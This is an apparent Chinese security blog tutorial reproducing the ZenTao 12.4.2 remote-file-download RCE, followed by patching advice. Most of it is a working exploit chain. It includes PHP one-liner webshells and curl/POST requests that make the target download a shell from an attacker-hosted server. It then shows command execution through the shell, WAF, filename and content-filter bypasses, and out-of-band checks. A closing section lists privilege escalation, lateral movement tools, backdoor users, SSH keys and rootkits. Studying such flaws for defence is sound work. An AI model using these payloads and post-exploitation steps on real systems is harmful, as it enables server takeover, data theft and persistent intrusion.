禅道文件下载漏洞复现:从原理到RCE实战与安全加固
1. 项目概述与漏洞背景
最近在整理内部安全资产时,又回顾了一下禅道项目管理系统的几个历史高危漏洞。CNVD-C-2020-121325 这个编号可能很多人不熟悉,但提到“禅道12.4.2及之前版本的文件上传导致远程代码执行漏洞”,在安全圈里算是老熟人了。这个漏洞的利用链清晰,影响范围广,在2020年那会儿,不少企业的内网禅道服务器都因为这个洞被打了。即便现在新版本已经修复,但作为渗透测试人员和安全研究者,理解它的成因和复现过程,对于挖掘同类逻辑漏洞、加固自身系统都很有价值。简单来说,这个漏洞的核心在于禅道系统在处理文件下载功能时,对用户可控的“下载链接”参数(link)过滤不严,攻击者可以构造恶意链接,让服务器从远程地址下载一个包含恶意代码的脚本文件,并保存到web可访问目录,最终实现远程代码执行。整个过程不需要身份认证,属于前台漏洞,危害极大。今天,我就从一个实战演练的角度,带大家完整走一遍这个漏洞的复现过程,并深入拆解每一步背后的原理和防御思路。
2. 漏洞原理深度解析
2.1 漏洞触发点定位
要理解这个漏洞,首先得知道禅道在哪里出了问题。漏洞的根源位于/module/file/control.php文件中的download方法。这个方法的本意是提供一个文件下载功能,允许用户通过一个link参数指定远程文件的URL,然后由服务器去拉取这个文件并返回给用户,或者保存到本地。
我们来看一下问题代码的逻辑(以下为简化后的伪代码逻辑):
public function download($fileID, $link, $type = ‘file’) { // … 一些前置检查 … if(!empty($link)) { // 从link参数指定的URL下载文件 $fileContent = $this->file->getFile($link); // 生成一个本地临时文件名 $filePath = $this->file->savePath . $fileName; // 将下载的内容写入本地文件 file_put_contents($filePath, $fileContent); // … 后续可能触发文件包含或直接访问 … } }问题的关键就在这里:$link这个参数是用户通过HTTP请求直接传入的,而代码中没有对$link指向的URL地址进行严格的合法性校验。攻击者可以将其指向一个自己控制的服务器,该服务器返回的内容完全由攻击者决定。
2.2 利用链构造:从文件上传到RCE
单纯的“能下载任意远程文件到服务器”并不直接等于“能执行代码”。禅道的这个漏洞之所以能升级为RCE,是因为它巧妙地结合了服务器的两个特性:
- 可控的文件内容与后缀:攻击者可以在自己的恶意服务器上放置一个内容为PHP代码的文本文件,并将该文件的访问链接作为
link参数传入。由于代码没有检查下载文件的内容类型和后缀,服务器会忠实地将这个PHP代码文件下载并保存到本地。 - 已知的、可Web访问的保存路径:禅道下载的文件会保存到一个固定的、可通过Web访问的目录下(例如
www/zentao/tmp/)。这意味着,只要攻击者知道最终保存的文件名,就能通过浏览器直接访问这个文件。当Web服务器(如Apache)解析到.php后缀的文件时,就会执行其中的PHP代码。
所以,完整的利用链是:构造恶意PHP文件 -> 托管在攻击者服务器 -> 通过未过滤的link参数诱使禅道服务器下载 -> 文件被保存到Web目录 -> 直接访问该文件触发代码执行。
注意:这里有一个常见的误解。有些文章称其为“文件上传漏洞”,严格来说,它并非通过传统的HTTP文件上传表单实现,而是利用“服务器端远程文件下载”功能,实现了“将任意文件写入服务器”的效果,其危害与文件上传漏洞等同。理解这点对后续的漏洞挖掘很重要,不要只盯着
move_uploaded_file这类函数。
2.3 影响版本与环境搭建
根据公开信息,该漏洞影响禅道(Zentao)<= 12.4.2 的版本。为了安全地复现,我们必须在隔离的环境中进行。
复现环境准备:
- 靶机:一台安装有禅道 12.4.2 或更低版本的虚拟机。可以从禅道官网下载历史版本安装包。推荐使用一键安装包在CentOS 7或Ubuntu虚拟机中部署。
- 攻击机:一台Kali Linux虚拟机,用于发起攻击和托管恶意文件。
- 网络:确保攻击机和靶机在同一网络段,可以互相访问。我通常使用VirtualBox或VMware搭建一个仅主机(Host-Only)模式的虚拟网络。
搭建要点:
- 下载禅道12.4.2的一键安装包(
.zip或.tar.gz格式)。 - 在靶机(如CentOS 7)上,解压安装包到
/opt目录。 - 运行安装脚本
/opt/zbox/zbox start启动Apache和MySQL服务。 - 通过浏览器访问靶机IP,按照向导完成禅道的安装配置。
- 安装成功后,访问
http://靶机IP/zentao/应能看到禅道登录页面。
实操心得:在虚拟机中复现时,务必拍摄快照。方便在复现过程中出错或想重新开始时快速回滚。同时,关闭虚拟机的自动更新和网络共享,确保实验环境纯净。
3. 漏洞复现实操步骤
3.1 信息收集与漏洞探测
在发起攻击前,我们需要确认目标是否存在漏洞。首先访问禅道首页,查看页面底部或登录页面,通常会有版本信息。如果无法直接获取,可以尝试访问一些默认路径或利用指纹识别工具。
更直接的方式是探测漏洞路径。该漏洞的利用入口是/zentao/file-download-这样的路径(具体URL可能因版本有小差异)。我们可以用一个简单的请求来测试参数是否接受:
# 使用curl探测,这里的link参数先指向一个无害的地址 curl -v “http://<靶机IP>/zentao/file-download-<随机ID>.html?link=http://<攻击机IP>/test.txt”如果服务器响应中没有明显的错误(如参数不存在),或者去查看禅道的tmp目录下是否出现了下载的文件,就能初步判断该端点可用。
关键步骤:确定Web可访问的临时目录路径。这是成功利用的关键。我们需要知道禅道把下载的文件放在哪里。通过查看源码或经验,常见的路径是www/zentao/tmp/。我们可以通过触发一个正常的文件下载功能(如果存在的话),或者利用其他信息泄露漏洞,来确认这个绝对路径。在复现环境中,因为我们自己搭建的,路径是已知的,例如/opt/zbox/app/zentao/www/tmp/。
3.2 恶意文件准备与托管
在攻击机(Kali)上,我们需要做两件事:编写恶意PHP文件,并启动一个Web服务器来托管它。
编写Webshell: 在Kali上创建一个文件,比如叫
shell.php,内容是最简单的PHP一句话木马:<?php @eval($_REQUEST[‘cmd’]);?>为了增加隐蔽性,或者绕过一些简单的内容检查,可以稍微变形:
<?php // 使用assert函数 $c = $_GET[‘c’]; assert($c); ?>或者使用
system函数直接执行系统命令:<?php system($_GET[‘cmd’]); ?>我将使用
system的版本,因为它更直观,便于演示命令执行效果。启动简易HTTP服务器: 在存放
shell.php的目录下,使用Python快速启动一个HTTP服务:python3 -m http.server 8000这会在攻击机的8000端口启动一个Web服务。确保靶机可以访问到
http://<攻击机IP>:8000/shell.php。
3.3 构造并发送漏洞利用请求
这是最核心的一步。我们需要向禅道的漏洞端点发送一个HTTP请求,其中的link参数指向我们刚刚托管的恶意文件。
利用工具:Burp Suite 或直接使用curl命令。 我习惯用Burp Suite,因为它方便修改和重放请求。
利用请求示例:
POST /zentao/file-download-1.html HTTP/1.1 Host: <靶机IP> Content-Type: application/x-www-form-urlencoded … 其他头部 … link=http://<攻击机IP>:8000/shell.php&fileName=exploit.php参数解释:
link:指向攻击者服务器上的恶意PHP文件。fileName:这个参数至关重要。它指定了文件被保存到服务器时的名称。我们必须将其指定为.php后缀,例如exploit.php。如果这个参数不可控或服务器有重命名机制,利用难度会大大增加。在这个漏洞中,fileName通常是可控或可预测的。
使用cURL的命令行版本:
curl -X POST “http://<靶机IP>/zentao/file-download-1.html” -d “link=http://<攻击机IP>:8000/shell.php&fileName=cmd.php”发送请求后,如果漏洞存在且利用成功,禅道服务器会向我们的攻击机发起请求,下载shell.php文件的内容,并将其以cmd.php的名字保存到自己的临时目录下。
3.4 验证漏洞与执行命令
发送利用请求后,如何验证是否成功?
- 查看攻击机服务器日志:在运行Python HTTP服务的终端,如果看到来自靶机IP的访问
GET /shell.php的记录,说明靶机确实尝试下载了我们的恶意文件,这是成功的第一步。 - 访问Webshell:假设我们确定的临时目录是
tmp/,且保存的文件名是cmd.php。那么,在浏览器中直接访问:http://<靶机IP>/zentao/tmp/cmd.php?cmd=whoami这个URL会向cmd.php传递一个参数cmd,其值为系统命令whoami。如果页面上显示了执行结果(例如www-data或apache),则证明远程代码执行成功。
进一步利用:成功执行whoami后,就可以执行更复杂的命令,来收集服务器信息、建立持久化后门等。
cmd=id:查看当前用户权限。cmd=pwd:查看当前工作目录,再次确认Web根目录。cmd=ls -la /:列出根目录文件。cmd=cat /etc/passwd:查看系统用户。
注意事项:在实际渗透测试中,直接使用
system($_GET[‘cmd’])这种Webshell很容易被安全设备检测到。在验证漏洞后,应使用更隐蔽的方式,如编码命令、使用wget下载更复杂的木马,或者直接反弹Shell到监听端口。
4. 漏洞修复与安全加固建议
复现漏洞是为了更好地防御。针对这个漏洞,我们可以从多个层面进行防护。
4.1 官方补丁与版本升级
最根本的解决方案是升级禅道到安全版本。禅道官方在漏洞披露后迅速发布了修复补丁。对于12.4.2及之前版本的用户,应立即升级到最新版本。官方修复方案通常包括:
- 对
link参数进行严格过滤:检查URL是否指向允许的白名单域名或内网地址,禁止从任意远程地址下载文件。 - 对下载的文件内容进行安全检查:检查文件头、MIME类型,防止将可执行脚本保存为可访问的文件。
- 对保存的文件名进行重命名:使用不可预测的随机文件名(如UUID),避免攻击者直接访问。
- 将文件保存到非Web可访问目录:即使文件被下载,也无法通过HTTP直接访问。
升级步骤:
- 备份当前禅道的数据库和代码文件。
- 从官网下载最新版本的升级包。
- 按照官方提供的升级文档,逐步执行升级脚本。
- 升级完成后,彻底检查所有自定义代码和插件是否兼容。
4.2 临时缓解措施
如果因为某些原因无法立即升级,可以采取以下临时措施:
- 网络层防护:在防火墙或WAF(Web应用防火墙)上设置规则,拦截对
/file-download-等危险路径的异常访问,特别是包含远程URL链接的请求。 - 应用层防护:修改禅道源码,在
/module/file/control.php的download方法中,直接禁用link参数功能,或添加强效的白名单校验。例如:public function download($fileID, $link, $type = ‘file’) { // 临时修复:禁止使用远程link参数 if(!empty($link)) { die(‘Remote file download is disabled for security reasons.’); } // … 原有代码 … } - 文件系统监控:对禅道的
tmp目录进行文件系统监控,告警任何新创建的.php、.jsp、.asp等可执行脚本文件。
4.3 安全开发规范启示
这个漏洞给所有开发者上了一课:
- 永远不要信任用户输入:
link、fileName这类参数必须经过严格的验证和过滤。验证应包括:长度、字符集、格式(是否符合URL规范)、所属域名(是否在允许列表内)。 - 最小权限原则:服务器进程(如Apache的www-data用户)应仅拥有必要的最小权限。即使文件被写入,也应限制其执行权限。可以考虑将文件下载到chroot环境或具有
noexec挂载选项的目录。 - 避免服务器发起非受控的外部请求:功能设计上,应尽量避免让服务器根据用户输入去访问外部资源。如果必须,则应使用严格的代理和白名单机制。
- 安全的文件处理流程:对于用户上传或系统生成的文件,应采用“重命名”(使用随机哈希值)、“隔离存储”(非Web目录)、“权限控制”(不可执行)、“内容扫描”(查杀恶意代码)的组合拳。
5. 漏洞复现中的常见问题与排查
在复现过程中,你可能会遇到一些问题。这里我总结几个常见的坑和解决办法。
5.1 复现失败问题排查表
| 问题现象 | 可能原因 | 排查步骤与解决方案 |
|---|---|---|
| 攻击机HTTP服务无访问日志 | 1. 靶机与攻击机网络不通。 2. 漏洞路径不正确。 3. 禅道服务未正常运行。 | 1. 用ping命令检查靶机与攻击机互通性。2. 使用 netstat -tulnp检查禅道Apache服务是否在80端口监听。3. 尝试访问禅道首页,确认服务正常。 4. 查看禅道源码,确认 download方法的确切URL路由。 |
| 有下载日志,但无法访问Webshell | 1. 文件保存路径猜测错误。 2. 文件名不可控或被重命名。 3. 文件内容被服务器处理或过滤。 | 1. 登录禅道服务器,在可能的所有tmp、upload目录下按时间查找新文件:find /opt/zbox/app/zentao/www -name “*.php” -mmin -5。2. 检查利用请求中的 fileName参数是否有效,尝试使用不同的参数名(如name,file)。3. 检查恶意文件内容是否被服务器端的杀毒软件或安全模块过滤。尝试使用不同的PHP代码包装。 |
| 访问Webshell返回空白或错误 | 1. PHP代码语法错误。 2. system等危险函数被禁用。3. 开启了 open_basedir等安全限制。 | 1. 在攻击机本地用php -l shell.php检查语法。2. 尝试使用其他函数,如 passthru(),shell_exec(), 反引号`,或file_get_contents(‘php://input’)读取POST数据。3. 在Webshell中输出 phpinfo(),查看服务器PHP配置,确认函数是否被禁用。 |
| 请求被WAF或防火墙拦截 | 目标环境存在安全防护设备。 | 1. 尝试对请求参数进行编码(如URL编码、Base64编码)。 2. 更改请求方法(GET/POST互换)。 3. 添加正常的HTTP头部,模拟浏览器请求。 4. 使用分块传输、脏数据填充等技术绕过。 |
5.2 高级利用技巧与绕过
在更严格的环境下,基础的利用方式可能失效,需要一些技巧:
- 绕过
fileName后缀限制:如果后端代码强制修改后缀,可以尝试利用路径穿越或空字节截断(在PHP老版本中),如fileName=../../../www/exploit.php%00.jpg。或者利用服务器解析漏洞,如exploit.php.jpg在某些配置下仍被解析为PHP。 - 绕过内容过滤:如果服务器检查文件内容是否包含
<?php标签,可以尝试使用短标签<?=、<script language=”php”>,或者将代码编码后通过eval或assert动态解码执行。 - 无回显命令执行:如果命令执行了但没有输出到页面(盲注),可以使用延时、DNS外带、HTTP请求外带等方式判断命令是否执行。例如:
cmd=ping -c 4 <攻击机IP>,然后在攻击机用tcpdump监听ICMP包。
5.3 内网渗透中的延伸利用
一旦在禅道上获得RCE权限,它往往是一个进入内网的绝佳跳板。
- 信息收集:立即运行命令收集网络信息 (
ifconfig,ip route)、用户信息 (cat /etc/passwd)、进程信息 (ps aux)、其他内网资产 (arp -a)。 - 权限提升:检查内核版本、SUID文件、sudo权限、计划任务等,尝试提权到root。禅道服务器可能以较高权限运行。
- 内网横向移动:利用当前服务器作为代理,扫描和攻击内网其他机器。可以上传
nmap、frp、reGeorg等工具。 - 持久化后门:写入Webshell、创建后门用户、添加SSH密钥、安装Rootkit等,确保权限不丢失。
在整个复现和渗透过程中,务必在授权和隔离的环境中进行,并深刻理解每一步操作的潜在影响。漏洞复现的目的始终是提升防御能力,修补自身系统的短板。通过对CNVD-C-2020-121325这个经典漏洞的深入剖析,我们不仅掌握了一种攻击方法,更重要的是建立起对“用户输入验证”、“服务器端请求伪造(SSRF)”、“不安全文件操作”等安全问题的条件反射,在未来的开发和审计工作中能主动识别和规避同类风险。
